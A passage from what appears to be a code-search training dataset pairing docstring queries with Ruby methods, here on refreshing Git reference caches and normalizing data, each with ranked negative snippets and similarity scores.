"def revisions(location, limit = 1000)\n @client.revisions(location, limit)\n rescue\n puts $! if @@verbose\n nil\n end",
"def get_my_repos\n repos = []\n\n (1..get_total_repo_pages_count.to_i).each do |index|\n get_json( \"#{ GITHUB_USER_REPOS_URL }?per_page=100&page=#{ index }\" ).each do |item|\n repos << item[ 'full_name' ]\n end\n end\n\n return repos\nend",
"def index\n @index ||= @repository.rugged.merge_commits(@our_commit, @their_commit)\n end",
"def repos\n api.repos.map(&:to_hash)\n end",
"def get_issues( url, label )\n\t\tissues = @git.client.issues( url, :per_page => 100 )\n\t\tcleaned_issues = parse_issue_array( issues, label )\n\t\tputs cleaned_issues.inspect\n\t\treturn cleaned_issues\n\tend",
"def new_version\n %w(major minor patch).each do |level|\n changes = git_changelog.select(&\"#{level}?\".to_sym)\n return [ last_release.send(\"#{level}!\"), changes ] if changes.size > 0\n end\n raise \"No commit since last release (#{last_release})\"\n end",
"def diff_files(commit)\n cache_key = [\n GITALY_TIMEOUT_CACHE_KEY,\n commit.project.id,\n commit.cache_key\n ].join(':')\n\n return [] if Rails.cache.read(cache_key).present?\n\n begin\n commit.diffs.diff_files\n rescue GRPC::DeadlineExceeded => error\n # Gitaly fails to load diffs consistently for some commits. The other information\n # is still valuable for Jira. So we skip the loading and respond with a 200 excluding diffs\n # Remove this when https://gitlab.com/gitlab-org/gitaly/-/issues/3741 is fixed.\n Rails.cache.write(cache_key, 1, expires_in: GITALY_TIMEOUT_CACHE_EXPIRY)\n Gitlab::ErrorTracking.track_exception(error)\n []\n end\n end",
"def fetch_closed_pull_requests\n pull_requests = []\n options = { state: \"closed\" }\n\n page_i = 0\n count_pages = calculate_pages(@client, \"pull_requests\", options)\n\n iterate_pages(@client, \"pull_requests\", options) do |new_pr|\n page_i += PER_PAGE_NUMBER\n log_string = \"Fetching merged dates... #{page_i}/#{count_pages * PER_PAGE_NUMBER}\"\n print_in_same_line(log_string)\n pull_requests.concat(new_pr)\n end\n print_empty_line\n\n Helper.log.info \"Pull Request count: #{pull_requests.count}\"\n pull_requests.map { |pull_request| stringify_keys_deep(pull_request.to_hash) }\n end",
"def git_version(paths)\n return if paths.nil?\n\n paths.map { |path| Licensed::Git.version(path) }\n .reject { |sha| sha.to_s.empty? }\n .max_by { |sha| Licensed::Git.commit_date(sha) }\n end",
"def arrayOfChanges\n #we could also use Ruby/Git here, but that feels like an overkill right #now.\n gitChanges = `git diff #{@args[:taskpaper_file]} | grep '^\\+' | grep -i '\\@done'`\n return gitChanges.split(\"\\n\").collect{ |line| Task.new(line.gsub(/^\\+\\ ?/, \"\"))}\n end",
"def repositories_to_fetch\n # Find all .git Repositories - Ignore *.wiki.git\n repos = Dir.glob(\"#{@config['git']['repos']}/*/*{[!.wiki]}.git\")\n\n # Build up array of NOT ignored repositories\n delete_path = []\n @config['ignore'].each do |ignored|\n path = File.join(@config['git']['repos'], ignored)\n delete_path += repos.grep /^#{path}/\n repos.delete(delete_path)\n end\n\n return repos - delete_path\n\n end"
] |
[
"0.6114549",
"0.6078261",
"0.59370273",
"0.5936785",
"0.5835947",
"0.57691675",
"0.5725436",
"0.5709561",
"0.56974685",
"0.5689828",
"0.56570685",
"0.56469226",
"0.55805945",
"0.5574663",
"0.55701166",
"0.55678594",
"0.5527395",
"0.55133325",
"0.55119056",
"0.5510142",
"0.55076206",
"0.5504318",
"0.54991925",
"0.54852426",
"0.548376",
"0.54741985",
"0.54720795",
"0.5462877",
"0.54572105",
"0.5450993",
"0.5433639",
"0.54131824",
"0.5405334",
"0.5379522",
"0.5352606",
"0.5352606",
"0.53520435",
"0.5351579",
"0.5344472",
"0.53286237",
"0.53269213",
"0.5316793",
"0.53154063",
"0.52948046",
"0.528021",
"0.5275821",
"0.52664024",
"0.5255251",
"0.5245516",
"0.5238169",
"0.52328867",
"0.52217793",
"0.52203923",
"0.5213246",
"0.52044284",
"0.5202975",
"0.5202007",
"0.5199839",
"0.51984376",
"0.5196949",
"0.5192862",
"0.5187594",
"0.51763225",
"0.5171934",
"0.5166942",
"0.5163875",
"0.51625425",
"0.51439494",
"0.5139496",
"0.513817",
"0.51374704",
"0.51371986",
"0.51365626",
"0.51265943",
"0.51194626",
"0.51187885",
"0.51145095",
"0.511423",
"0.5108565",
"0.5108191",
"0.5107254",
"0.5106482",
"0.5102534",
"0.509113",
"0.50890636",
"0.50883794",
"0.50690323",
"0.50679374",
"0.5058671",
"0.5053866",
"0.5051419",
"0.50451976",
"0.5035462",
"0.50275886",
"0.50183815",
"0.50019634",
"0.49979106",
"0.4997372",
"0.49932563",
"0.4989468"
] |
0.70890945
|
0
|
Public: Refreshes just the cached Git reference data. This should be called after every Gollum update. Returns nothing.
|
def clear_cache
@access.refresh
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def refresh_cache\n @cache = build_cache\n end",
"def cached_references\n @cached_references ||= []\n end",
"def reload\n reset\n fetch\n end",
"def reload\n reset\n fetch\n end",
"def refresh_repositories\n File.open(GITHUB_CACHE, 'wb') do |file|\n Marshal.dump(github_repositories, file)\n end\n end",
"def ref_dup\n git = ::Git.open(base_path)\n git.checkout(ref)\n git.pull(\"origin\", ref)\n self.ref = git.log.first.sha\n self.path = Utility.join_path(cache_path, \"git\", ref)\n unless File.directory?(path)\n FileUtils.mkdir_p(path)\n FileUtils.cp_r(Utility.join_path(base_path, \".\"), path)\n FileUtils.rm_rf(Utility.join_path(path, \".git\"))\n end\n path\n end",
"def flush_cache!\n @cached_dependencies = {}\n end",
"def refs\n @refs ||= load_refs\n end",
"def refresh!\n @buckets = init_buckets\n @full_buckets = Hash.new\n end",
"def update\n\t\treturn 0 if @setup.secure or @setup['no_cache']\n\t\tdb = DispRef2PStore.new( @setup['cache_path'] )\n\t\tr = 0\n\t\tdb.transaction do\n\t\t\tdb[Root_DispRef2URL] = Hash.new unless db[Root_DispRef2URL]\n\t\t\tbegin\n\t\t\t\tdb[Root_DispRef2URL].each_key do |url|\n\t\t\t\t\tref = DispRef2URL::new( url )\n\t\t\t\t\tt = ref.restore( db )\n\t\t\t\t\torig = t ? t.dup : nil\n\t\t\t\t\tnew = ref.parse( @setup )\n\t\t\t\t\tif orig != new then\n\t\t\t\t\t\tr += 1\n\t\t\t\t\t\tref.store( db )\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\trescue PStore::Error\n\t\t\tend\n\t\tend\n\t\tdb = nil\n\t\tr\n\tend",
"def git_cache\n @git_cache ||= GitCache.new(self)\n end",
"def refresh!\n self.size! if @size\n refresh_digests! if respond_to?(:refresh_all_digests!)\n self.mimetype! if @mimetype\n self\n end",
"def reload!\n fetch_data!\n end",
"def sync\n # TODO stop forcing a sync every time.\n @cache.sync\n\n if cloned?\n fetch\n else\n clone\n end\n reset\n end",
"def reset\n commit = cache.rev_parse(@ref)\n current = rev_parse('HEAD')\n\n if commit == current\n logger.debug1 \"Git repo #{@full_path} is already at #{commit}, no need to reset\"\n return\n end\n\n begin\n git \"reset --hard #{commit}\", :path => @full_path\n rescue R10K::ExecutionFailure => e\n logger.error \"Unable to locate commit object #{commit} in git repo #{@full_path}\"\n raise\n end\n end",
"def refresh!\n load if changed?\n end",
"def reload\n clear_memoizations!\n perform_reload\n self\n end",
"def refresh\n load if changed?\n end",
"def flush_cache\n Linker.flush_cache\n end",
"def refresh\n response = Clever.request :get, url, nil, headers\n refresh_from response[:data]\n\n @links = response[:links].map do\n |link| { :\"#{link[:rel]}\" => link[:uri] }\n end.reduce({}, :merge)\n self\n end",
"def refresh!\n from_installed_gems\n end",
"def refresh\n list.clear\n\n Ginatra.load_config[\"git_dirs\"].map do |git_dir|\n if Dir.exist?(git_dir.chop)\n dirs = Dir.glob(git_dir).sort\n else\n dir = File.expand_path(\"../../../#{git_dir}\", __FILE__)\n dirs = Dir.glob(dir).sort\n end\n\n dirs = dirs.select {|f| File.directory? f }\n dirs.each {|d| add(d) }\n end\n\n list\n end",
"def refresh_markdown_cache\n options = { skip_project_check: skip_project_check? }\n\n updates = cached_markdown_fields.markdown_fields.map do |markdown_field|\n [\n cached_markdown_fields.html_field(markdown_field),\n Banzai::Renderer.cacheless_render_field(self, markdown_field, options)\n ]\n end.to_h\n updates['cached_markdown_version'] = latest_cached_markdown_version\n\n updates.each { |field, data| write_markdown_field(field, data) }\n end",
"def refs(ref=nil)\n prefix = ref ? \"#{path_prefix}/refs/#{ref}\" : \"#{path_prefix}/refs\"\n Ghee::API::Repos::Git::Refs::Proxy.new(connection, prefix)\n end",
"def refresh!(async: false)\n return clone!(async: async) unless exists?\n pull!(async: async)\n end",
"def updateReference\n return @references\n end",
"def gc\n sandbox {|git,w,i| git.gc }\n reset(true)\n end",
"def refresh!\n self.data = client.get(path).data\n end",
"def refresh_cache_after_create\n self.class.refresh_cache_of_branch_with(self.root)\n end",
"def ensure_ref_fetched\n @merge_request.ensure_ref_fetched\n end",
"def git_cache\n self[KEY]\n end",
"def references\n @references ||= ApiFactory.new 'GitData::References'\n end",
"def git_refs()\n # This glob pattern matches recursively so we will find a branch named\n # something like 'feature/subfeature/the-cool-feature'.\n # TODO: get remotes also\n git_dir = git_git_dir()\n\n locals = Dir.glob(File.join(git_dir, 'refs', 'heads', '**', '*')).select do |f|\n !File.directory? f\n end.map do |f|\n {\n 'name' => f.split('/refs/heads/')[1],\n 'hash' => File.open(f).read().rstrip\n }\n end\n\n remotes = Dir.glob(File.join(git_dir, 'refs', 'remotes', '**', '*')).select do |f|\n !File.directory?(f) and !f.end_with? \"/HEAD\"\n end.map do |f|\n {\n 'name' => f.split('/refs/remotes/')[1],\n 'hash' => File.open(f).read().rstrip\n }\n end\n\n locals + remotes\nend",
"def refresh\n # FIXME\n end",
"def refresh\n clone_appium = \"git clone #{clone} #{path}\"\n sh clone_appium unless File.exists? path\n\n sh 'git reset --hard'\n sh 'git fetch --tags'\n\n update_branches\n\n branches.each do |branch|\n sh \"git checkout #{branch}\"\n sh \"git pull --rebase origin #{branch}\"\n end\n\n update_tags\n end",
"def flush_cache\n self.class.flush_cache(gem.name)\n end",
"def refresh_all!\n self.size!\n refresh_all_digests! if respond_to?(:refresh_all_digests!)\n self.mimetype!\n self\n end",
"def refresh!\n ckm_touch(self.datasource.analytics_cache_key)\n self.data\n end",
"def refresh\n response = Clever.request :get, url\n refresh_from response[:data]\n self\n end",
"def add_refs(commit, ref_cache)\n if ref_cache.empty?\n @repo.refs.each {|ref| ref_cache[ref.commit.id] ||= [];ref_cache[ref.commit.id] << ref}\n end\n commit.refs = ref_cache[commit.id] if ref_cache.include? commit.id\n commit.refs ||= []\n end",
"def refresh\n _get_file_contents(connfile.to_s)\n self\n end",
"def clear_data_uri_cache\n @_uri_cache = {}\n end",
"def load_ref_commits(ref)\n commits = []\n page = 1\n begin\n loop do\n commits += Octokit.commits(@path, ref, :page => page)\n page += 1\n end\n rescue Octokit::NotFound, Faraday::Error::ResourceNotFound\n end\n commits\n end",
"def refresh\n @write_lock.synchronize do\n @data = storage.retrieve(self.class, @id)\n @saved = true\n end\n end",
"def fetch\n Repository::GitMirror.active.find_each(&:fetch)\n end",
"def refresh_markdown_cache\n updates = cached_markdown_fields.markdown_fields.to_h do |markdown_field|\n [\n cached_markdown_fields.html_field(markdown_field),\n rendered_field_content(markdown_field)\n ]\n end\n\n updates['cached_markdown_version'] = latest_cached_markdown_version\n\n updates.each { |field, data| write_markdown_field(field, data) }\n end",
"def update_cache\n # Does nothing...up to subclasses to implement.\n end",
"def recent_branches_fast\n\t\trefs = []\n\t\trefs.concat Pathname.glob(dot_git + 'refs/heads/**/*')\n\t\trefs.concat Pathname.glob(dot_git + 'refs/remotes/**/*')\n\n\t\tbranches = refs.reject {|r| r.directory? }.sort_by {|r| r.mtime }.last(@opts[:max_num]).map {|r|\n\t\t\tref = r.read.chomp\n\t\t\tif name = ref[/ref: (.+)/, 1]\n\t\t\t\tbegin\n\t\t\t\t\t(dot_git + name).read.chomp\n\t\t\t\trescue\n\t\t\t\t\t`git rev-parse #{name}`.chomp\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tref\n\t\t\tend\n\t\t}\n\t\tretrieve_branch_details(branches)\n\tend",
"def rev_parse # :nodoc:\n hash = nil\n\n Dir.chdir repo_cache_dir do\n hash = Gem::Util.popen(@git, 'rev-parse', @reference).strip\n end\n\n raise Gem::Exception,\n \"unable to find reference #{@reference} in #{@repository}\" unless\n $?.success?\n\n hash\n end",
"def resolve_refs!\n name_of_last_ref = nil\n lookup_refs.each_with_index do |ref,z|\n @settings = two_layer_merge(@settings, ref.settings)\n @children.merge!(ref.children)\n name_of_last_ref = ref.name\n end\n if @settings[:path].nil? && !name_of_last_ref.nil?\n @settings[:path] = name_of_last_ref.to_s\n end\n @settings.delete :ref\n return self\n end",
"def refresh!; end",
"def reload!\n if saved?\n response = GoodData.get(uri)\n @json = response\n end\n self\n end",
"def refresh!\n @roots.keys.each { |key| @roots[key].delete(:up_to_date) }\n end",
"def deep_refresh\n recalc_height\n update_placement\n create_contents\n refresh\n end",
"def refresh!(*args)\n alloc(*args).refresh!\n end",
"def force_update_cache(token, login)\n redis = Redis.new\n authorID = query_id(token, login)\n\n redis.keys(\"#{login}:*/*\").each do |key|\n owner, name = key.split(':', 2)[1].split('/', 2)\n redis.set key, Marshal.dump(get_repo(token, owner, name, authorID))\n end\nend",
"def reload!\n unload!\n versions\n get_json\n get_map\n last_updated\n third_party_links\n mappings\n end",
"def refresh\n @data = read_data\n end",
"def refresh\n json = JSON(Net::HTTP.get(URI.parse(base_url)))\n unpack(json)\n end",
"def refresh\n do_refresh\n end",
"def refresh\n do_refresh\n end",
"def update\n update_cache\n reload\n\n self\n end",
"def install\n if cached?\n Dir.chdir(cache_path) do\n git %{fetch --force --tags #{uri} \"refs/heads/*:refs/heads/*\"}\n end\n else\n git %{clone #{uri} \"#{cache_path}\" --bare --no-hardlinks}\n end\n\n Dir.chdir(cache_path) do\n @revision ||= git %{rev-parse #{rev_parse}}\n end\n end",
"def refresh\n fetch_api_data\n self\n end",
"def update_references_html\r\n fixup_page\r\n html = display_content\r\n includes = find_includes(html)\r\n page_names = find_referenced_names(html)\r\n save_references(page_names, includes)\r\n end",
"def refresh(*args)\n alloc(*args).refresh\n end",
"def reload\n refresh\n end",
"def reload\n refresh\n end",
"def flush!\n @_cache = {}\n end",
"def refresh_all\n\t\tputs \"Refresh all the entries in the local host repository in one shot.\"\n\t\tchanges=Hash.new\n\t\thosts=@known_hosts.keys\n\t\t@known_hosts=Hash.new\n\t\tchanges=bulk_add(hosts)\n\t\t@known_hosts.merge!(changes)\n\t\t#@known_hosts.keys.map do |key|\n\t\t#\tunless is_ip?(key)\n\t\t#\t\thost=refresh(key)\n\t\t#\t\tchanges.push(host) unless host.nil?\n\t\t#\tend\n\t\t#end\n\t\tputs \"\\n#{changes.size} Entries Refreshed:\" if changes.size>0\n\t\t#changes.map { |x| puts x }\n\t\tputs \"Done refreshing the local hosts.\"\n\t\treturn changes\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\"\n\tend",
"def refresh\n end",
"def refresh!\n unpack(agent.get(url))\n self\n end",
"def refill\n now = Time.now.to_i\n cache_set.each {|rec|\n ttl = rec[:end_ts].to_i - now\n cache_write( rec[:key], rec[:value], ttl ) if ttl > 0 \\\n if rec[:value] and rec[:value].length > MAX_OBJ_SIZE and ttl > 0\n }\n end",
"def sync_to_cache_for_archiving\n result = sync_to_cache(false)\n self.erase_cache_symlinks rescue nil\n result\n end",
"def refresh\n end",
"def refresh\n end",
"def clear_checksum_cache!\n @lookup_checksums = {}\n end",
"def refresh\n do_refresh\n self\n end",
"def reload(force = false)\n if committed? || force\n @read_lock.synchronize do\n @write_lock.synchronize do\n @data = storage.retrieve(self.class, @id, false)\n end\n end\n else\n fail Exceptions::PendingChanges\n end\n @read_lock.synchronize do\n @write_lock.synchronize { @saved = true }\n end\n return self\n end",
"def rebased_commits\n rebased_ref = detached_head? ? 'HEAD' : rebased_branch\n @rebased_commits ||=\n `git rev-list --topo-order --reverse #{upstream_branch}..#{rebased_ref}`.\n split(\"\\n\")\n end",
"def reload\n read\n @previous = nil\n self\n end",
"def refresh()\n obj = self.bucket.get_or_new(self.key)\n return if obj.nil?\n\n self.counter = Riak::CRDT::TPNCounter.new(self.counter_options)\n\n if obj.siblings.length > 1\n self.counter.merge_siblings(obj.siblings, self.counter_options)\n elsif !obj.raw_data.nil?\n self.counter.merge(Riak::CRDT::TPNCounter.from_json(obj.raw_data, self.counter_options))\n end\n\n return obj.vclock\n end",
"def clear_cache\n CircleCi.request(conf, \"#{base_path}/build-cache\").delete\n end",
"def refresh_cache\n self.class.connection.execute \"UPDATE #{self.class.table_name} SET #{ancestors_count_column}=#{self.ancestors.size}, #{descendants_count_column}=#{self.descendants.size} WHERE id=#{self.id}\"\n end",
"def fetch_changesets\n puts \"Calling fetch changesets on #{clone_path}\"\n # runs git fetch\n self.fetch\n super\n end",
"def refresh; end",
"def fetch_changesets\n # Save ourselves an expensive operation if we're already up to date\n return if scm.num_revisions == changesets.count\n\n revisions = scm.revisions('', nil, nil, :all => true)\n return if revisions.nil? || revisions.empty?\n\n # Find revisions that redmine knows about already\n existing_revisions = changesets.find(:all).map!{|c| c.scmid}\n\n # Clean out revisions that are no longer in git\n Changeset.delete_all([\"scmid NOT IN (?) AND repository_id = (?)\", revisions.map{|r| r.scmid}, self.id])\n\n # Subtract revisions that redmine already knows about\n revisions.reject!{|r| existing_revisions.include?(r.scmid)}\n\n # Save the remaining ones to the database\n revisions.each{|r| r.save(self)} unless revisions.nil?\n end",
"def grit_update\n grit_repo = Repo.new(self.path)\n count = 0\n grit_repo.branches.each do |b|\n self.branches << AqBranch.new(:name => b.name) if not self.branches.find_by_name(b.name)\n end\n self.branches.each do |b|\n b.grit_update\n count += 1\n end\n aq_logger(Settings.logs.scm, \"User #{self.owner}, Repository : #{self.name}, #{count} branches treated.\")\n self.save\n end",
"def reload\n self.replace( CouchDB.get( uri ) )\n end",
"def clear_cache; end",
"def fetch\n git :fetch\n end",
"def refetch\n resolver = Link.select_resolver(url)\n canonical_url = resolver.fetch_canonical_url(url)\n\n # 現在のURLが取得したcanonical_urlとは異なるのに、レコードにその記録がある場合は、\n # 保存するとURL重複となるためスルーする\n return if url != canonical_url && Link.find_by(url: canonical_url)\n\n page = Nokogiri::HTML.parse(open(canonical_url).read)\n update_attributes(resolver.new(canonical_url, page).fetch)\n save\n end",
"def flush\n write_cache if @dirty\n @dirty = false\n end",
"def github_state\n static = @reference.match?(Build::SHA1_REGEX) || @reference.match?(Release::VERSION_REGEX)\n expires_in = ->(reply) { cache_duration(reply) }\n cache_fetch_if static, cache_key(@reference), expires_in: expires_in do\n checks_result = with_octokit_client_error_rescue { github_check }\n status_result = with_octokit_client_error_rescue { github_status }\n\n results_with_statuses = [checks_result, status_result].select { |result| result[:statuses].any? }\n\n results_with_statuses.empty? ? NO_STATUSES_REPORTED_RESULT.dup : merge_statuses(results_with_statuses)\n end\n end",
"def caching\n @caching = \"data_update[#{data_path}]\"\n end",
"def caching\n @caching = \"data_update[#{data_path}]\"\n end",
"def caching\n @caching = \"data_update[#{data_path}]\"\n end",
"def caching\n @caching = \"data_update[#{data_path}]\"\n end",
"def reset\r\n @cache.reset\r\n end"
] |
[
"0.6281668",
"0.62061083",
"0.617892",
"0.617892",
"0.6152173",
"0.605692",
"0.6040785",
"0.5927559",
"0.5925145",
"0.5904876",
"0.5896314",
"0.5873939",
"0.5872416",
"0.585339",
"0.5841224",
"0.58322936",
"0.58240986",
"0.58182025",
"0.5794824",
"0.5781314",
"0.5777646",
"0.5765388",
"0.5759446",
"0.5759311",
"0.5755295",
"0.5739697",
"0.5733128",
"0.56960994",
"0.56751245",
"0.5674311",
"0.5663806",
"0.56622463",
"0.5640713",
"0.56254756",
"0.5622159",
"0.5621586",
"0.5591092",
"0.557939",
"0.55771273",
"0.556314",
"0.5554055",
"0.5550979",
"0.5539992",
"0.5531208",
"0.5519159",
"0.55020213",
"0.54935044",
"0.5465835",
"0.5464664",
"0.5460626",
"0.54598826",
"0.54537916",
"0.54482126",
"0.5438593",
"0.5431364",
"0.5404875",
"0.540218",
"0.5398993",
"0.53932315",
"0.5365042",
"0.5365042",
"0.53598833",
"0.5352986",
"0.5339605",
"0.53372926",
"0.53206474",
"0.53174055",
"0.53174055",
"0.5315026",
"0.53042674",
"0.52995145",
"0.528652",
"0.5278031",
"0.5275255",
"0.5269708",
"0.5269708",
"0.5266271",
"0.5263357",
"0.52473825",
"0.5239987",
"0.5239165",
"0.52381897",
"0.5222102",
"0.5210947",
"0.5210824",
"0.5207386",
"0.5202483",
"0.520186",
"0.51983833",
"0.5198142",
"0.51966447",
"0.51928073",
"0.51878923",
"0.5186682",
"0.5185799",
"0.5185799",
"0.5185799",
"0.5185799",
"0.5167533"
] |
0.5373937
|
60
|
Normalize the data. data The String data to be normalized. Returns the normalized data String.
|
def normalize(data)
data.gsub(/\r/, '')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def normalize(data)\n normalize_players data\n normalize_board data\n normalize_deals data\n data\n end",
"def normalize\n @data << \"\"\n end",
"def sanitize_data(data)\n data\n end",
"def normalize(string); end",
"def html_data_normalize(data)\n data.transform_keys { |key| key.to_s.underscore.to_sym }\n end",
"def normalize(str) return str end",
"def pre_normalize(text); end",
"def prepare_data(data)\n data.gsub(/Do some fancy data manipulation here/, '')\n end",
"def normalize_data(input)\n year = input[:year].to_i\n return input unless validate_year(input, year)\n input[:year] = year\n\n make = validate_make(input[:make])\n input[:make] = make\n\n model_array = input[:model].split\n model = model_array[0].downcase.capitalize\n input[:model] = model\n input[:trim] = model_array[1].upcase if model_array.size > 1\n\n trim = input[:trim].upcase\n trim == \"BLANK\" || trim == '' ? input[:trim] = nil : input[:trim] = trim\n input\n end",
"def sanitize_data str\n str.to_s.strip.gsub(%r{^(-\\s)+}, \"\")\n end",
"def cleanse_data!\n self.tag = tag.to_s&.strip&.upcase\n self.shl_case_number = shl_case_number.to_s&.strip&.upcase\n end",
"def prepare_data data\n Iconv.new('UTF-8//IGNORE', 'UTF-8').iconv(data)\n end",
"def string_normalizer(string)\n string.downcase.gsub(/[^0-9a-z ]/i, '')\n end",
"def normalize(incoming_str)\n if normalizer\n return normalizer.call(incoming_str)\n end\n\n str = incoming_str\n str = str.downcase\n str = str.gsub(/[^a-z0-9]/, \" \")\n # squish whitespace\n str = str.gsub(/\\s+/, \" \").strip\n str\n end",
"def normalize(text) #:nodoc:\n normalized_text = text.to_s.downcase\n normalized_text = Numerizer.numerize(normalized_text)\n normalized_text.gsub!(/['\"\\.]/, '')\n normalized_text.gsub!(/([\\/\\-\\,\\@])/) { ' ' + $1 + ' ' }\n normalized_text\n end",
"def normalize(str) return str.upcase end",
"def cleanup_data(data)\n return data unless data.is_a?(Hash) && data.has_key?('collection')\n data['collection'].each do |item|\n item.each_pair do |k,v|\n # Purge whitespace within values\n v.is_a?(::String) ? v.strip! : v\n\n # Parse JSON values\n if v.is_a?(Array)\n v.map! do |e|\n e = safe_parse_json(e)\n end\n else\n item[k] = safe_parse_json(v)\n end\n end\n end\n data\n end",
"def clean(data)\n cleaned = clean_content(data)\n clean_content(cleaned)\n end",
"def sanitize_data\n data + \"datacite: #{create_xml.to_xml.gsub(\"%\", \"%25\").gsub(\":\", \"%3A\").gsub(\"\\n\", \"%0D%0A\").gsub(\"\\r\", \"\")}\\n\"\n end",
"def clean(data)\n data.inject({}) do |hash, (key, val)| \n hash[key] = val.is_a?(Array) ? val.map { |v| clean v } : (val.is_a?(Hash) ? clean(val) : val.try(:strip))\n hash\n end\n end",
"def preprocess_data data\n if data[0] == \"'\" || data[0] == '\"'\n \"say \" + data[1,data.length]\n else\n data\n end\n end",
"def normalize(code); end",
"def slugify(data) #TODO: Research use of variable polymorphicObjectType\n return @client.raw(\"post\", \"/helpers/slugify\", nil, data_transform(data))\n end",
"def normalize\n input.upcase\n end",
"def slugify(data)\n # TODO: Research use of variable polymorphicObjectType\n @client.raw('post', '/helpers/slugify', nil, data_transform(data))\n end",
"def sanitize_data\n sanitize_permalink\n sanitize_name\n end",
"def standardize_form_data(data)\n if data.is_a?(Hash)\n result = [data]\n elsif data.is_a?(Array)\n result = data\n end\n report_non_nil_keys(data)\n return data\n end",
"def preprocess_text data\n parse_formatted_text data\n end",
"def normalize( value )\n value\n end",
"def normalised(string)\n return unless string\n\n # single quotes\n string = string.gsub(/'/, '’')\n # double quotes\n string = string.gsub(/\"/, '“')\n # ellipsis\n string = string.gsub(/\\.\\.\\./, '…')\n # em-dash\n string = string.gsub(/---/, '—')\n # en-dash\n string = string.gsub(/--/, '–')\n # left guillemet\n string = string.gsub(/<</, '«')\n # right guillemet\n string = string.gsub(/>>/, '»')\n\n string\n end",
"def normalize(name); end",
"def normalize\n @normalized_email = email.downcase\n normalized_email\n end",
"def unnormalize(string, doctype = T.unsafe(nil), filter = T.unsafe(nil), illegal = T.unsafe(nil)); end",
"def normalize(data)\n return [] if data.empty?\n min_power = max_power = data[0][:spectrum][0]\n data.each do |dp|\n min_power = [min_power, dp[:spectrum].min].min\n max_power = [max_power, dp[:spectrum].max].max\n end\n\n data.map{|dp| dp[:spectrum] = dp[:spectrum].map{|dsp| (100*(dsp - min_power)/max_power).round(1)}; dp}\nend",
"def normalize_whitespace(input); end",
"def unnormalize(string, entities = T.unsafe(nil), filter = T.unsafe(nil)); end",
"def unnormalize(code)\n code = code.gsub(/<text:line-break\\/>/, \"\\n\")\n code = code.gsub(/<text:tab\\/>/, \"\\t\")\n code = code.gsub(/<text:s(\\/|(\\s[^>]*))>/, \" \")\n return REXML::Text.unnormalize(code)\n end",
"def normalize; end",
"def normalize\n data = latest_data\n norm = File.join(data, \"normalized\")\n FileUtils.mkdir_p(norm)\n\n if File.exists?(File.join(norm, \"_normalized_\"))\n log(\"Normalized data is already present for #{data}\")\n return true\n end\n\n unless inetdata_parsers_available?\n log(\"The inetdata-parsers tools are not in the execution path, aborting normalization\")\n return false\n end\n\n %W{ nets asns orgs pocs }.each do |ftype|\n cmd = \"nice inetdata-arin-xml2json #{data}/#{ftype}.xml > #{norm}/#{ftype}.json\"\n log(\"Running #{cmd}\\n\")\n system(cmd)\n end\n\n File.open(File.join(norm, \"_normalized_\"), \"wb\") {|fd|}\n end",
"def sanitize_data(value)\n HtmlSanitizer.sanitize(value)\n end",
"def data\n @data ||= begin\n (normalized.data.is_a?(Hash)) ? normalized.data :\n JSON.parse(normalized.data.gsub('=>', ':'))\n rescue JSON::ParserError => e\n {}\n end\n end",
"def normalize(domain); end",
"def normalizer; end",
"def remove_unwanted_chars(data)\n\n data = data.gsub(\"\\r\\n\", ' ')\n data = data.gsub(\"\\t\", ' ')\n data = data.gsub(\"\\n\", ' ')\n\n data.strip\n end",
"def data=(data)\n @data = data.to_s\n end",
"def normalize\n begin\n if data_id?(@data_identifier) == false\n @data_identifier = @@fdm.text_to_id(@data_identifier)\n else #data_identifier is already a data id do nothing...\n end\n @data_label = @@fdm.id_to_text(@data_identifier)\n @scale = @@fdm.scale(@data_identifier)\n @resolution = @@fdm.resolution(@data_identifier)\n\n if is_numeric?(@value_from_protocol)\n if is_integer?(@value_from_protocol)\n @value = @value_from_protocol.to_i * @scale.to_f * 10**@resolution.to_f\n else\n @value = @value_from_protocol.to_f * @scale.to_f * 10**@resolution.to_f\n end\n else\n @value = @value_from_protocol\n end\n\n @units = @@fdm.unit_text_to_unit_id(@units_from_protocol)\n if @protocol == 'v4'\n @units = 'units would go here'\n end\n\n if @resolution.to_f > 0\n puts self.to_s\n end\n\n rescue Exception => e\n puts\" \\n\\n **********\\n\\n #{$@ } \\n\\n #{e} \\n\\n **********\"\n end\n end",
"def data_cleansing(data)\n # Removes extra spaces, commas, dollar sign etc.\n data = data.strip.split('')\n (data - [',', '%', ' ', '$']).join\nend",
"def normalizeInput(s)\r\n if s == nil\r\n return \"\"\r\n else\r\n return s.gsub(/\\\\n/, \"\\n\")\r\n end\r\n end",
"def normalize(input, doctype = T.unsafe(nil), entity_filter = T.unsafe(nil)); end",
"def transform(data)\n data = evaluate(data)\n if data[-1].is_a?(String)\n data[0..-2] + [\"#{data[-1]}\\n\"]\n else\n data + [\"\\n\"]\n end\n end",
"def normalize\n replace(Rope.new(*flat_strings.reject(&:empty?)))\n end",
"def normalize\n end",
"def normalize!; end",
"def normalize\n \tif !self.phone.nil?\n\t \tself.phone = self.phone.gsub(/[^a-z0-9]/i, '')\n\t \tif self.phone.length == 8\n\t \t\tarea_code = \"\"\n\t \t\tfirst = self.phone[0]\n\t \t\tif first == \"6\"\n\t \t\t\tarea_code = \"619\"\n\t \t\telsif first == \"8\"\n\t \t\t\tarea_code = \"858\"\n\t \t\tend\n\t \t\tself.phone = area_code + self.phone[1..-1]\n\t \t elsif self.phone.length == 10\n\t \t\t # do nothing for now\n\t \t else\n\t \t\t # do nothing for now\n\t \t end\n\t end\n end",
"def normalize string\r\n begin\r\n string.dup.force_encoding('UTF-8')\r\n rescue ::Encoding::CompatibilityError, ::Encoding::UndefinedConversionError, ::Encoding::InvalidByteSequenceError => e\r\n # @todo Improve error handling\r\n Solargraph::Logging.logger.warn \"Normalize error: #{e.message}\"\r\n string\r\n end\r\n end",
"def normalize(slug_text)\n s = slug_text.clone\n s.gsub!(/[\\?‘’'“”\",.;:]/, '')\n s.gsub!(/\\W+/, ' ')\n s.strip!\n s.downcase!\n s.gsub!(/\\s+/, '-')\n s.gsub(/-\\Z/, '')\n end",
"def clean_data( field )\n\tfield.to_s.strip\nend",
"def tidy(data); end",
